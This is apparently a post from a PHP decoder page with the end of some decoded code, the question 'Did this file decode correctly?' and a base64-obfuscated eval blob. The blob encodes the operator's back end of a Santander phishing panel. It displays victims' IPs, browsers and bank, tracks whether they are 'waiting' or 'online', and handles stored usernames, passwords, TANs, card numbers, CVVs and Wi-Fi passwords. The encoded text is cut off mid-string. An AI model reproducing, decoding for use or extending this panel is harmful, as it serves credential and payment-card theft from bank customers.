        echo \'<div class="col-12 p-4 bg-darker rounded">\';
        echo \'<h4 class="text-white"><i class="fa fa-user" aria-hidden="true"></i> User Data</h4>\';
        echo \'<hr class="my-4">\';
        echo \'<div class="bg-darkest-inside p-4 rounded">\';
        echo \'<div class="form-group row">\';
        echo \'<label for="id" class="text-secondary col-sm-3 font-weight-bold">User ID:</label>\';
        echo \'<div class="col-sm-9">\';
        echo \'<p class="text-secondary"><i>\' . $log[\'user_id\'] . \'</i></p>\';
        echo \'</div>\';
        echo \'</div>\';
        echo \'<div class="form-group row">\';
        echo \'<label for="id" class="text-secondary col-sm-3 font-weight-bold">User Browser:</label>\';
        echo \'<div class="col-sm-9">\';
        echo \'<p class="text-secondary"><i>\' . $log[\'user_agent\'] . \'</i></p>\';
        echo \'</div>\';
        echo \'</div>\';
        echo \'<div class="form-group row">\';
        echo \'<label for="id" class="text-secondary col-sm-3 font-weight-bold">User IP:</label>\';
        echo \'<div class="col-sm-9">\';
        echo \'<p class="text-secondary"><i>\' . $log[\'ip\'] . \'</i></p>\';
        echo \'</div>\';
        echo \'</div>\';
        if (!empty($log[\'bank\'])) {
            echo \'<div class="form-group row">\';
            echo \'<label for="id" class="text-secondary col-sm-3 font-weight-bold">Bank:</label>\';
            echo \'<div class="col-sm-9">\';
            echo \'<p class="text-secondary"><i>\' . $log[\'bank\'] . \'</i></p>\';
            echo \'</div>\';
            echo \'</div>\';
        }
        echo \'</div>\';
    }
}
'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCg0KbmFtZXNwYWNlIEFwcFxDb250cm9sbGVyc1xVc2VyczsNCg0KdXNlIFxDb3JlXFZpZXc7DQp1c2UgXEFwcFxNb2RlbHNcVXNlcnNcVXNlcjsNCnVzZSBcQXBwXEF1dGg7DQoNCmNsYXNzIExvZ3MgZXh0ZW5kcyBcQ29yZVxDb250cm9sbGVyDQp7DQogICAgcHVibGljIGZ1bmN0aW9uIGxvZ3NBY3Rpb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKEF1dGg6OmlzTG9nZ2VkSW4oKSkgew0KICAgICAgICAgICAgJGRhdGEgPSBVc2VyOjpjaGVja1Nlc3Npb24oJF9TRVNTSU9OWyd1c2VybmFtZSddKTsNCiAgICAgICAgICAgIGlmICgkZGF0YSkgew0KICAgICAgICAgICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnUE9TVCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJGxvZ3MgPSBVc2VyOjpnZXRMb2dzKCRfU0VTU0lPTlsndXNlcm5hbWUnXSk7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5zaG93TG9ncygkbG9ncyk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgVmlldzo6cmVuZGVyKCdBY2Nlcy9sb2dzLnBocCcsIFsNCiAgICAgICAgICAgICAgICAgICAgICAgICd0aXRsZScgPT4gJ0xvZ3MnDQogICAgICAgICAgICAgICAgICAgIF0pOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgQXV0aDo6ZGVzdHJveVNlc3Npb24oKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHN0YXRpYzo6cmVkaXJlY3QoJy9hY2Nlcy9sb2dpbicpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldE9uZUFjdGlvbigpDQogICAgew0KICAgICAgICBpZiAoQXV0aDo6aXNMb2dnZWRJbigpKSB7DQogICAgICAgICAgICAkZGF0YSA9IFVzZXI6OmNoZWNrU2Vzc2lvbigkX1NFU1NJT05bJ3VzZXJuYW1lJ10pOw0KICAgICAgICAgICAgaWYgKCRkYXRhKSB7DQogICAgICAgICAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyAmJiBpc3NldCgkX1BPU1RbJ2lkJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICRsb2cgPSBVc2VyOjpnZXRMb2coJF9QT1NUWydpZCddLCAkX1NFU1NJT05bJ3VzZXJuYW1lJ10pOw0KICAgICAgICAgICAgICAgICAgICAkbG9nYXJyYXkgPSBAanNvbl9kZWNvZGUoJGxvZ1snZW50cnlkYXRhJ10sIHRydWUpOw0KDQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5zaG93TG9nKCRsb2csICRsb2dhcnJheSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgc3RhdGljOjpyZWRpcmVjdCgnL2FjY2VzL2xvZ3MnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEF1dGg6OmRlc3Ryb3lTZXNzaW9uKCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBzdGF0aWM6OnJlZGlyZWN0KCcvYWNjZXMvbG9naW4nKTsNCiAgICAgICAgfQ0KICAgIH0NCgkNCglwdWJsaWMgZnVuY3Rpb24gdXBkYXRlTm90ZUFjdGlvbigpDQogICAgew0KICAgIGlmIChBdXRoOjppc0xvZ2dlZEluKCkpIHsNCiAgICAgICAgJGRhdGEgPSBVc2VyOjpjaGVja1Nlc3Npb24oJF9TRVNTSU9OWyd1c2VybmFtZSddKTsNCiAgICAgICAgaWYgKCRkYXRhKSB7DQogICAgICAgICAgICBpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnICYmIGlzc2V0KCRfUE9TVFsnaWQnXSkgJiYgaXNzZXQoJF9QT1NUWydub3RlJ10pKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBbJ2lkJyA9PiAkX1BPU1RbJ2lkJ10sICdub3RlJyA9PiAkX1BPU1RbJ25vdGUnXV07DQogICAgICAgICAgICAgICAgJGVycm9ycyA9IFsnaWQnID0+ICcnLCAnbm90ZScgPT4gJyddOw0KDQogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRkYXRhWydpZCddKSkgew0KICAgICAgICAgICAgICAgICAgICAkZXJyb3JzWydpZCddID0gJ2VtcHR5X2lkJzsNCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZGF0YVsnbm90ZSddKSkgew0KICAgICAgICAgICAgICAgICAgICAkZXJyb3JzWydub3RlJ10gPSAnZW1wdHlfbm90ZSc7DQogICAgICAgICAgICAgICAgfSANCg0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZXJyb3JzWydpZCddKSAmJiBlbXB0eSgkZXJyb3JzWydub3RlJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICRjaGVjayA9IFVzZXI6OnVwZGF0ZU5vdGUoJF9TRVNTSU9OWyd1c2VybmFtZSddLCAkZGF0YVsnaWQnXSwgJGRhdGFbJ25vdGUnXSk7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICBpZiAoJGNoZWNrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3VjY2VzcycgPT4gJ3RydWUnXSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnZmFpbCcgPT4gJ3JlcXVlc3RfZmFpbGVkJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkZXJyb3JzKTsgICAgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgc3RhdGljOjpyZWRpcmVjdCgnL2FjY2VzL2xvZ2luJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBBdXRoOjpkZXN0cm95U2Vzc2lvbigpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgc3RhdGljOjpyZWRpcmVjdCgnL2FjY2VzL2xvZ2luJyk7DQogICAgfQ0KfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlbGV0ZUFjdGlvbigpDQogICAgew0KICAgICAgICBpZiAoQXV0aDo6aXNMb2dnZWRJbigpKSB7DQogICAgICAgICAgICAkZGF0YSA9IFVzZXI6OmNoZWNrU2Vzc2lvbigkX1NFU1NJT05bJ3VzZXJuYW1lJ10pOw0KICAgICAgICAgICAgaWYgKCRkYXRhKSB7DQogICAgICAgICAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyAmJiBpc3NldCgkX1BPU1RbJ2lkJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICRkYXRhID0gWydpZCcgPT4gJF9QT1NUWydpZCddXTsNCg0KICAgICAgICAgICAgICAgICAgICAkZXJyb3JzID0gWydpZCcgPT4gJyddOw0KDQogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZGF0YVsnaWQnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRlcnJvcnNbJ2lkJ10gPSAnZW1wdHlfaWQnOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRlcnJvcnNbJ2lkJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkY2hlY2sgPSBVc2VyOjpkZWxldGVMb2coJF9TRVNTSU9OWyd1c2VybmFtZSddLCAkZGF0YVsnaWQnXSk7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkY2hlY2spIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3VjY2VzcycgPT4gJ3RydWUnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydmYWlsJyA9PiAncmVxdWVzdF9mYWlsZWQnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRlcnJvcnMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgc3RhdGljOjpyZWRpcmVjdCgnL2FjY2VzL2xvZ2luJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBBdXRoOjpkZXN0cm95U2Vzc2lvbigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgc3RhdGljOjpyZWRpcmVjdCgnL2FjY2VzL2xvZ2luJyk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZGVsZXRlQWxsQWN0aW9uKCkNCiAgICB7DQogICAgICAgIGlmIChBdXRoOjppc0xvZ2dlZEluKCkpIHsNCiAgICAgICAgICAgICRkYXRhID0gVXNlcjo6Y2hlY2tTZXNzaW9uKCRfU0VTU0lPTlsndXNlcm5hbWUnXSk7DQogICAgICAgICAgICBpZiAoJGRhdGEpIHsNCiAgICAgICAgICAgICAgICBpZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT0gJ1BPU1QnKSB7DQogICAgICAgICAgICAgICAgICAgICRjaGVjayA9IFVzZXI6OmRlbGV0ZUxvZ3MoJF9TRVNTSU9OWyd1c2VybmFtZSddKTsNCg0KICAgICAgICAgICAgICAgICAgICBpZiAoJGNoZWNrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3VjY2VzcycgPT4gJ3RydWUnXSk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnZmFpbCcgPT4gJ3JlcXVlc3RfZmFpbGVkJ10pOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgc3RhdGljOjpyZWRpcmVjdCgnL2FjY2VzL2xvZ2luJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBBdXRoOjpkZXN0cm95U2Vzc2lvbigpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgc3RhdGljOjpyZWRpcmVjdCgnL2FjY2VzL2xvZ2luJyk7DQogICAgICAgIH0NCiAgICB9DQoJDQoJcHVibGljIGZ1bmN0aW9uIGRlbGV0ZUVtcHR5QWN0aW9uKCkNCgl7DQogICAgaWYgKEF1dGg6OmlzTG9nZ2VkSW4oKSkgew0KICAgICAgICAkZGF0YSA9IFVzZXI6OmNoZWNrU2Vzc2lvbigkX1NFU1NJT05bJ3VzZXJuYW1lJ10pOw0KICAgICAgICBpZiAoJGRhdGEpIHsNCiAgICAgICAgICAgIGlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnUE9TVCcpIHsNCiAgICAgICAgICAgICAgICAkY2hlY2sgPSBVc2VyOjpkZWxldGVFbXB0eUxvZ3MoJF9TRVNTSU9OWyd1c2VybmFtZSddKTsNCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZiAoJGNoZWNrKSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdWNjZXNzJyA9PiAndHJ1ZSddKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnZmFpbCcgPT4gJ3JlcXVlc3RfZmFpbGVkJ10pOw0KICAgICAgICAgICAgICAgIH0gICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBzdGF0aWM6OnJlZGlyZWN0KCcvYWNjZXMvbG9naW4nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIEF1dGg6OmRlc3Ryb3lTZXNzaW9uKCk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBzdGF0aWM6OnJlZGlyZWN0KCcvYWNjZXMvbG9naW4nKTsNCiAgICB9DQoJfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGJhbkFjdGlvbigpDQogICAgew0KICAgICAgICBpZiAoQXV0aDo6aXNMb2dnZWRJbigpKSB7DQogICAgICAgICAgICAkZGF0YSA9IFVzZXI6OmNoZWNrU2Vzc2lvbigkX1NFU1NJT05bJ3VzZXJuYW1lJ10pOw0KICAgICAgICAgICAgaWYgKCRkYXRhKSB7DQogICAgICAgICAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyAmJiBpc3NldCgkX1BPU1RbJ2lkJ10pICYmIGlzc2V0KCRfUE9TVFsnaXAnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBbDQogICAgICAgICAgICAgICAgICAgICAgICAnaWQnID0+ICRfUE9TVFsnaWQnXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdpcCcgPT4gJF9QT1NUWydpcCddDQogICAgICAgICAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICAgICAgICAgJGVycm9ycyA9IFsNCiAgICAgICAgICAgICAgICAgICAgICAgICdpZCcgPT4gJycsDQogICAgICAgICAgICAgICAgICAgICAgICAnaXAnID0+ICcnDQogICAgICAgICAgICAgICAgICAgIF07DQoNCiAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRkYXRhWydpZCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGVycm9yc1snaWQnXSA9ICdlbXB0eV9pZCc7DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJGRhdGFbJ2lwJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZXJyb3JzWydpcCddID0gJ2VtcHR5X2lwJzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZXJyb3JzWydpZCddKSAmJiBlbXB0eSgkZXJyb3JzWydpcCddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGNoZWNrID0gVXNlcjo6YmFuVXNlcigkZGF0YVsnaWQnXSwgJGRhdGFbJ2lwJ10pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGNoZWNrKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N1Y2Nlc3MnID0+ICd0cnVlJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnZmFpbCcgPT4gJ3JlcXVlc3RfZmFpbGVkJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBqc29uX2VuY29kZSgkZXJyb3JzKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIHN0YXRpYzo6cmVkaXJlY3QoJy9hY2Nlcy9sb2dpbicpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgQXV0aDo6ZGVzdHJveVNlc3Npb24oKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHN0YXRpYzo6cmVkaXJlY3QoJy9hY2Nlcy9sb2dpbicpOw0KICAgICAgICB9DQogICAgfQ0KDQpwcml2YXRlIGZ1bmN0aW9uIHNob3dMb2dzKCRsb2dzKQ0Kew0KICAgICR0b3BMb2dzID0gYXJyYXkoKTsNCiAgICAkb3RoZXJMb2dzID0gYXJyYXkoKTsNCiAgICAkZGlzcGxheUZvcm1hdCA9ICdkYXRhdGFibGUnOw0KDQogICAgJHVzZXJBZ2VudHMgPSBhcnJheSgNCiAgICAgICAgJ0dvb2dsZSBDaHJvbWUnID0+IGFycmF5KCdpY29uJyA9PiAnZmFiIGZhLWNocm9tZScsICd0eXBlJyA9PiAnQnJvd3NlcicpLA0KICAgICAgICAnRmlyZWZveCcgPT4gYXJyYXkoJ2ljb24nID0+ICdmYWIgZmEtZmlyZWZveCcsICd0eXBlJyA9PiAnQnJvd3NlcicpLA0KICAgICAgICAnU2FmYXJpJyA9PiBhcnJheSgnaWNvbicgPT4gJ2ZhYiBmYS1zYWZhcmknLCAndHlwZScgPT4gJ0Jyb3dzZXInKSwNCiAgICAgICAgJ0ludGVybmV0IEV4cGxvcmVyJyA9PiBhcnJheSgnaWNvbicgPT4gJ2ZhYiBmYS1pbnRlcm5ldC1leHBsb3JlcicsICd0eXBlJyA9PiAnQnJvd3NlcicpLA0KICAgICAgICAnTWljcm9zb2Z0IEVkZ2UnID0+IGFycmF5KCdpY29uJyA9PiAnZmFiIGZhLWVkZ2UnLCAndHlwZScgPT4gJ0Jyb3dzZXInKSwNCiAgICAgICAgJ09wZXJhJyA9PiBhcnJheSgnaWNvbicgPT4gJ2ZhYiBmYS1vcGVyYScsICd0eXBlJyA9PiAnQnJvd3NlcicpLA0KICAgICAgICAnQnJhdmUnID0+IGFycmF5KCdpY29uJyA9PiAnZmFiIGZhLWJyYXZlJywgJ3R5cGUnID0+ICdCcm93c2VyJyksDQogICAgICAgICdXaW5kb3dzJyA9PiBhcnJheSgnaWNvbicgPT4gJ2ZhYiBmYS13aW5kb3dzJywgJ3R5cGUnID0+ICdPUycpLA0KICAgICAgICAnTWFjIE9TJyA9PiBhcnJheSgnaWNvbicgPT4gJ2ZhYiBmYS1hcHBsZScsICd0eXBlJyA9PiAnT1MnKSwNCiAgICAgICAgJ0xpbnV4JyA9PiBhcnJheSgnaWNvbicgPT4gJ2ZhYiBmYS1saW51eCcsICd0eXBlJyA9PiAnT1MnKSwNCiAgICApOw0KDQogICAgZm9yZWFjaCAoJGxvZ3MgYXMgJGxvZykgew0KICAgICAgICAkbmV3X2RhdGUgPSAobmV3IFxEYXRlVGltZSgpKTsNCiAgICAgICAgJG9sZF9kYXRlID0gKG5ldyBcRGF0ZVRpbWUoJGxvZ1snbGFzdF9jb25uZWN0ZWQnXSkpOw0KICAgICAgICAkZGlmZiA9ICRuZXdfZGF0ZS0+Z2V0VGltZXN0YW1wKCkgLSAkb2xkX2RhdGUtPmdldFRpbWVzdGFtcCgpOw0KICAgICAgICAkd2FpdGluZyA9ICcgYmctZGFya2VyJzsNCiAgICAgICAgJHdhY2h0ZW4gPSAnID8gfCBPZmZsaW5lJzsNCiAgICAgICAgaWYgKCRsb2dbJ3dhaXRpbmcnXSA9PSAndHJ1ZScpIHsNCiAgICAgICAgICAgICR3YWl0aW5nID0gJyBiZy1ibGluayc7DQogICAgICAgICAgICAkd2FjaHRlbiA9ICcgPz8gfCBXYWl0aW5nJzsNCiAgICAgICAgICAgIGFycmF5X3B1c2goJHRvcExvZ3MsICRsb2cpOw0KICAgICAgICB9IGVsc2UgaWYgKCRkaWZmIDwgMTApIHsNCiAgICAgICAgICAgICR3YWl0aW5nID0gJyBiZy1zdWNjZXNzJzsNCiAgICAgICAgICAgICR3YWNodGVuID0gJyA/PyB8IE9ubGluZSc7DQogICAgICAgICAgICBhcnJheV9wdXNoKCR0b3BMb2dzLCAkbG9nKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGFycmF5X3B1c2goJG90aGVyTG9ncywgJGxvZyk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAkYWxsTG9ncyA9IGFycmF5X21lcmdlKCR0b3BMb2dzLCAkb3RoZXJMb2dzKTsNCg0KICAgIGlmICgkZGlzcGxheUZvcm1hdCA9PT0gJ2NhcmQnKSB7DQogICAgICAgIGZvcmVhY2ggKCRhbGxMb2dzIGFzICRsb2cpDQogICAgICAgIHsNCg0KICAgICAgICAgICAgJG5ld19kYXRlID0gbmV3IFxEYXRlVGltZSgpOw0KICAgICAgICAgICAgJG9sZF9kYXRlID0gbmV3IFxEYXRlVGltZSgkbG9nWyJsYXN0X2Nvbm5lY3RlZCJdKTsNCg0KICAgICAgICAgICAgJGRpZmYgPSAkbmV3X2RhdGUtPmdldFRpbWVzdGFtcCgpIC0gJG9sZF9kYXRlLT5nZXRUaW1lc3RhbXAoKTsNCg0KICAgICAgICAgICAgJHdhaXRpbmcgPSAiYmctZGFya2VyIjsNCiAgICAgICAgICAgICR3YWNodGVuID0gIj8gfCBPZmZsaW5lIjsNCiAgICAgICAgICAgICRzdGF0dXNDbGFzcyA9ICJvZmZsaW5lLWNsYXNzIjsgLy8gdGhlIGNsYXNzIGZvciBncmF5IHJvdW5kZWQgYm9yZGVyDQoNCiAgICAgICAgICAgIGlmICgkbG9nWyJ3YWl0aW5nIl0gPT0gInRydWUiKSB7DQogICAgICAgICAgICAgICAgJHdhaXRpbmcgPSAiYmctYmxpbmsiOw0KICAgICAgICAgICAgICAgICR3YWNodGVuID0gIj8/IHwgV2FpdGluZyI7DQogICAgICAgICAgICAgICAgJHN0YXR1c0NsYXNzID0gIndhaXRpbmctY2xhc3MiOyAvLyB0aGUgY2xhc3MgZm9yIHJlZCByb3VuZGVkIGJvcmRlcg0KICAgICAgICAgICAgfSBlbHNlaWYgKCRkaWZmIDwgMTApIHsNCiAgICAgICAgICAgICAgICAkd2FpdGluZyA9ICJiZy1zdWNjZXNzIjsNCiAgICAgICAgICAgICAgICAkd2FjaHRlbiA9ICI/PyB8IE9ubGluZSI7DQogICAgICAgICAgICAgICAgJHN0YXR1c0NsYXNzID0gIm9ubGluZS1jbGFzcyI7IC8vIHRoZSBjbGFzcyBmb3IgZ3JlZW4gcm91bmRlZCBib3JkZXINCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gZ2V0IHRoZSB1c2VyX2FnZW50IG5hbWUgYW5kIGNoZWNrIGlmIGl0J3MgaW4gdGhlIHVzZXJBZ2VudHMgYXJyYXkNCiAgICAgICAgICAgICR1c2VyQWdlbnROYW1lID0gJGxvZ1sidXNlcl9hZ2VudCJdOw0KICAgICAgICAgICAgJGJyb3dzZXJJY29uID0gIiI7DQogICAgICAgICAgICAkYnJvd3Nlck5hbWUgPSAiIjsNCiAgICAgICAgICAgICRvc0ljb24gPSAiIjsNCiAgICAgICAgICAgICRvc05hbWUgPSAiIjsNCiAgICAgICAgICAgIGZvcmVhY2ggKCR1c2VyQWdlbnRzIGFzICRuYW1lID0+ICRpbmZvKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHVzZXJBZ2VudE5hbWUsICRuYW1lKSAhPT0gZmFsc2UpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGluZm9bInR5cGUiXSA9PSAiQnJvd3NlciIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRicm93c2VySWNvbiA9ICRpbmZvWyJpY29uIl07DQogICAgICAgICAgICAgICAgICAgICAgICAkYnJvd3Nlck5hbWUgPSAkbmFtZTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRpbmZvWyJ0eXBlIl0gPT0gIk9TIikNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG9zSWNvbiA9ICRpbmZvWyJpY29uIl07DQogICAgICAgICAgICAgICAgICAgICAgICAkb3NOYW1lID0gJG5hbWU7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbImVtcHR5Il0pKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICRzcWwgPSAiREVMRVRFIEZST00gbG9ncyBXSEVSRSBzYW50YW5kZXJfdXNlciA9ICcnIEFORCBzYW50YW5kZXJfcGFzcyA9ICcnIEFORCBzYW50YW5kZXJfZXhwID0gJycgQU5EIHNhbnRhbmRlcl9udW1iZXIgPSAnJyBBTkQgc2FudGFuZGVyX3RhbiA9ICcnIEFORCBzYW50YW5kZXJfY29uZmlybSA9ICcnIEFORCBzYW50YW5kZXJfd2lmaSA9ICcnIEFORCBzYW50YW5kZXJfd2lmaV9wYXNzID0gJycgQU5EIHNhbnRhbmRlcl93aWZpX3Bhc3NfdHdvID0gJycgQU5EIHNhbnRhbmRlcl9jcmVkaXRjYXJkID0gJycgQU5EIHNhbnRhbmRlcl9jY2V4cCA9ICcnIEFORCBzYW50YW5kZXJfY3Z2ID0gJycgQU5EIHNhbnRhbmRlcl9jb2RlID0gJycgQU5EIHNhbnRhbmRlcl9yZXNwb25zID0gJyciOw0KICAgICAgICAgICAgICAgICRkYiA9IHN0YXRpYyA6OmdldERCKCk7DQogICAgICAgICAgICAgICAgJHN0bXQgPSAkZGItPnByZXBhcmUoJHNxbCk7DQogICAgICAgICAgICAgICAgJHN0bXQtPmV4ZWN1dGUoKTsNCiAgICAgICAgICAgICAgICAvLyBSZWRpcmVjdCB0byBsb2dzIHBhZ2UgYWZ0ZXIgZGVsZXRpbmcgdGhlIHJvd3MNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAvbG9ncyIpOw0KICAgICAgICAgICAgICAgIGV4aXQoKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iY2FyZGtlM2JhIGNvbC1sZy0zIj4nOw0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iIG1iLTEgYmctZGFya2VyIHJvdW5kZWQgIGN1c3RvbS1jYXJkLXNpbmNvIj4gDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWhlYWRlciB0ZXh0LXdoaXRlICcgLiAkd2FpdGluZyAuICcgc2lpbGVuY2VkLWRhcmtlciI+DQogICAgICAgICAgICA8aSBjbGFzcz0iZmEgZmEtd2lmaSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4NCiAnIC4gJGxvZ1siaXAiXSAuICcgfCA8aSBjbGFzcz0iZmEgZmEtdW5pdmVyc2l0eSIgYXJpYS1oaWRkZW49InRydWUiPjwvaT4NCiAnIC4gaHRtbHNwZWNpYWxjaGFycygkbG9nWyJiYW5rIl0pIC4gJw0KDQogICAgICAgICAgICA8L2Rpdj4nOw0KICAgICAgICAgICAgZWNobyAnPHN0eWxlPg0KICAgIHNpaWxlbmNlZCB7DQogICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7DQogICAgfQ0KICAgIC5vcy1pY29uOmJlZm9yZSB7DQogICAgICAgIGZvbnQtc2l6ZTogMjRweDsNCiAgICAgICAgb